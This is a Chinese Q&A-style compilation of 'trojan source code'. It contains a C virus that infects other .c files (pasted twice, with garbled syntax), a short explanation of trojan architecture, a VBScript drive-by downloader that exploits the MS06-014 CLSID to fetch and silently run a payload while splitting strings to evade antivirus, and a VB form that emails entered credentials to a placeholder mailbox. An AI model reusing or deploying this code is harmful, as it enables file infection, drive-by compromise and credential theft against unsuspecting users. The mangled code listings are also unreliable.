c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

virus();

int virus()

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

goto next;

do{

if(i=50)

fclose(in);

goto next;

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

if(strstr(buf[j],main)!=NULL)

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

if(flag==0)

flag=1;

fputs("virus();\n",out);

fputs(buf[j],out);

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

fputs(buf[j],out);

j++;

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

p=fgets(buffer,80,read);

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

return 0;

严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。

c语言木马代码，简单点的，我保证不做违法的

#include stdio.h

#include dir.h

void main(void)

virus();

int virus()

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

goto next;

do{

if(i=50)

fclose(in);

goto next;

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

if(strstr(buf[j],main)!=NULL)

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

if(flag==0)

flag=1;

fputs("virus();\n",out);

fputs(buf[j],out);

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

fputs(buf[j],out);

j++;

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

p=fgets(buffer,80,read);

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

return 0;

再就是网上一百度一大堆的。

最简单的木马 源代码以及解释

一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。

(1)硬件部分：建立木马连接所必须的硬件实体。 控制端：对服务端进行远程控制的一方。 服务端：被控制端远程控制的一方。 INTERNET：控制端对服务端进行远程控制，数据传输的 *** 载体。

(2)软件部分：实现远程控制所必须的软件程序。 控制端程序：控制端用以远程控制服务端的程序。 木马程序：潜入服务端内部，获取其操作权限的程序。 木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。

(3)具体连接部分：通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP，服务端IP：即控制端，服务端的 *** 地址，也是木马进行数据传输的目的地。 控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马 程序。

网页木马代码大全

来晚了吗？……再复制一次吧……

要简洁……感觉复杂的话应该能免杀……

on error resume next '开启错误陷阱

dl = "" '定义“dl”为木马下载地址

Set df = document.createElement("object") '建立子元素

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 声明网马的clsid，这个是ms06014的

str="Microsoft.XMLHTTP" 使用XMLhttp对象

Set x = df.CreateObject(str,"") '用Adodb.Stream执行文件操作

a1="Ado" '下面这三个的作用是拆分字符串“Adodb.Stream”，躲过一些杀毒软件查杀

a2="db."

a3="Str"

a4="eam"

str1=a1a2a3a4 '合并字符串“Adodb.Stream”

str5=str1 '转移变量str1到str5

set S = df.createobject(str5,"") '执行文件操作

S.type = 1

str6="GET" '使用get方式获取木马文件

x.Open str6, dl, False '根据木马地址获取木马文件

x.Send

fname1="g0ld.com" '定义木马的文件名"g0ld.com"

set F = df.createobject("Scripting.FileSystemObject","") '用FileSystemObjec执行文件操作，这次是写入文件

set tmp = F.GetSpecialFolder(2) '获取临时文件夹路径

fname1= F.BuildPath(tmp,fname1) '下面这些是向临时文件夹中写入木马

S.open

S.write x.responseBody

S.savetofile fname1,2 '保存木马文件

S.close '关闭连接

set Q = df.createobject("Shell.Application","") '用Shell.Application运行木马文件

Q.ShellExecute fname1,"","","open",0 '以隐藏方式运行木马

问题补充：我真想飞起给楼下一脚~~~~~~~

木马源代码

VB '油香接收 Private Sub Command1_Click() Timer1.Interval = 5000 On Error Resume Next f = ("xxxxxxxx") '发送邮箱 *** tp = ("xxxxxxx") '发送邮箱服务器 u = ("xxxxxxxx") '发送邮箱用户名 p = ("xxxxxx") '发送邮箱密码 t = ("xxxxxxxxx") '接收邮箱 m = Text1.Text '邮件标题 msg = Text2.Text 't邮件内容 NameSpace = " http://schemas.microsoft.com/cdo/configuration/" Set Email = CreateObject("CDO.Message") Email.From = f Email.To = t Email.Subject = m Email.Textbody = msg Email.AddAttachment j With Email.Configuration.Fields .Item(NameSpace "sendusing") = 2 .Item(NameSpace " *** tpserver") = *** tp .Item(NameSpace " *** tpserverport") = 25 .Item(NameSpace " *** tpauthenticate") = 1 .Item(NameSpace "sendusername") = u .Item(NameSpace "sendpassword") = p .Update End With Email.Send End Sub Private Sub Command2_Click() End End Sub Private Sub Timer1_Timer() If Text1.Text Text2.Text Text3.Text Text4.Text = "" Then MsgBox "请先输入！", vbInformation, "提示" Timer1.Enabled = False Else MsgBox "系统已经成功审核你的数据！{你的账号:[" + Form1.Text1.Text + "]", vbInformation, "提示" Text1.Text = "" Text2.Text = "" Timer1.Enabled = False End If End Sub

记得采纳啊